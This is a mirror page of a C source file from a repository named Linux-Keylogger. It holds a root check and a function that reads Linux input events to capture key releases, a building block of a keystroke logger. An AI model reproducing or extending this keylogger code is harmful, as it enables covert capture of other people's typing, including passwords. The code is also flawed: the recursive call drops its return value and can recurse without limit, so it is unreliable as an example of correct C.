mirror of
https://github.com/dimkouv/Linux-Keylogger.git
synced 2025-05-15 20:10:20 -07:00
34 lines
717 B
C
34 lines
717 B
C
|
|
#include "keylogger.h"
|
|
|
|
/*
|
|
* returns 0 if user is not root
|
|
* else returns 1
|
|
*/
|
|
int user_is_root() {
|
|
if (geteuid() != 0) {
|
|
puts("#ERROR: You should run this script as root!");
|
|
return 0;
|
|
}
|
|
return 1;
|
|
}
|
|
|
|
|
|
/*
|
|
* -Reads input event (key stroke)
|
|
* -Returns the key when it's released
|
|
* This means that by long pressing a key it only gets logged once.
|
|
* -If no key is pressed it calls itself recursively again
|
|
*/
|
|
int get_key_press(int fd, struct input_event ev) {
|
|
read(fd, &ev, sizeof(struct input_event));
|
|
|
|
// ev.value == 0 -> button is released
|
|
if (ev.type == 1 && ev.value == 0)
|
|
return ev.code;
|
|
|
|
// if no key pressed check again
|
|
get_key_press(fd, ev);
|
|
|
|
}
|